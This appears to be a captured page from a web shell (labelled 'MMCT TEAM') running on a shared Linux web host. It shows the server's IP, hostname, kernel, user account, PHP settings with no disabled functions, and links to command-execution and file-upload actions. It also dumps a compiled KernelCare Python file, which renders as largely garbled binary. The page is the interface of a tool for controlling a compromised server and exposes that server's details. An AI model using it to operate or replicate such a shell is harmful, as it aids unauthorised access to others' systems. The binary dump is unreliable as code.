MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 18.117.158.174
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/libexec/kcare/python/kcarectl/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/libexec/kcare/python/kcarectl/http_utils.pyc
�
,w�gc@sddlZddlZddlZddlmZddlZddlmZmZddlmZddlm	Z	ddlm
Z
ddlmZm
Z
mZmZmZd	�Zed
�Zd�Zd�Zddd
�Zd�Zd�Ze�ZdS(i����N(tSSLErrori(tconfigt	constants(t	log_utils(tutils(terrors(tRequesttstd_urlopent	HTTPErrortURLErrorthttplibc	Os"t|d�r|j�}n|}t|�}|jdi�}|jitjd6tjd6�x*|j�D]\}}|j	||�qpWt
jdj||��y�tj
r�d|kr�tj|d<ntjr)ttdd�r)tj�}t|_tj|_||d<t|||�St|||�SWn�tk
r�}|jd	kr�tj|j|j|j|j |j!��n�n�t"k
r}|j#r�t|j#d
d�r�|j#d
j$t$j%kr�tj|d	t&|�dd��ndj||�|_'||_�nXdS(
Ntget_full_urltheaderss
KC-VersionsKC-Patch-Versions#Requesting url: `{0}`. Headers: {1}ttimeouttHAS_SNItcontexti�iterrnosRequest for `{0}` failed: {1}((thasattrRRtpoptupdateRtVERSIONtKC_PATCH_VERSIONtitemst
add_headerRtlogdebugtformattPY2_6RtHTTP_TIMEOUTtCHECK_SSL_CERTStgetattrtssltNonetcreate_default_contexttFalsetcheck_hostnamet	CERT_NONEtverify_modeRRtcodeRtNotFoundturltmsgthdrstfpR	targsRtENOENTtstrtreason(	R'R+tkwargstrequest_urlRtheadertvaluetctxtex((s0/usr/libexec/kcare/python/kcarectl/http_utils.pyturlopen_bases@
	
-8$	cs�fd�}|S(Ncs�t|t�r"�o!|jdkSt|ttjttjf�rGt	St
|d�r�t|j�dkr�|jdt
jkr�t	SdS(Ni�R+ii(t
isinstanceRR%R	R
t
HTTPExceptionRtsocketR
tTrueRtlenR+Rt
ECONNRESET(tetstate(tretry_on_500(s0/usr/libexec/kcare/python/kcarectl/http_utils.pytcheck_functionDs!:((R>R?((R>s0/usr/libexec/kcare/python/kcarectl/http_utils.pytcheck_urlopen_retry_factoryCs	cCs+t|d�r|j�}n|jd�S(NRsfile:(RRt
startswith(R'((s0/usr/libexec/kcare/python/kcarectl/http_utils.pytis_local_urlPscOsV|jdt�}t|�r.t|||�Stjtd|��t�|||�S(NR>(RR9RBR5RtretryR@(R'R+R/R>((s0/usr/libexec/kcare/python/kcarectl/http_utils.pyturlopenVscCsht|d|�}tjr>|r>|jddj|��ntjrd|rd|jtj|�n|S(Ntmethodt
Authorizations	Basic {0}(RRtUPDATE_FROM_LOCALRRRtAUTH_TOKEN_HEADER(R'tauth_stringt
auth_tokenREtrequest((s0/usr/libexec/kcare/python/kcarectl/http_utils.pythttp_request]scCsT|dkr(tjd�p'tjd�S|dkrPtjd�pOtjd�SdS(Nthttpt
http_proxyt
HTTP_PROXYthttpsthttps_proxytHTTPS_PROXY(tostgetenv(tscheme((s0/usr/libexec/kcare/python/kcarectl/http_utils.pytget_proxy_from_envhscCs"ttd��p!ttd��S(NRMRP(tboolRV(((s0/usr/libexec/kcare/python/kcarectl/http_utils.pyt
proxy_is_usedos(RRSRRR8tRRRRRtpy23RRRR	R
R5R9R@RBRDRRLRVRXtcheck_urlopen_retry(((s0/usr/libexec/kcare/python/kcarectl/http_utils.pyt<module>s"(	1
				

MMCT - 2023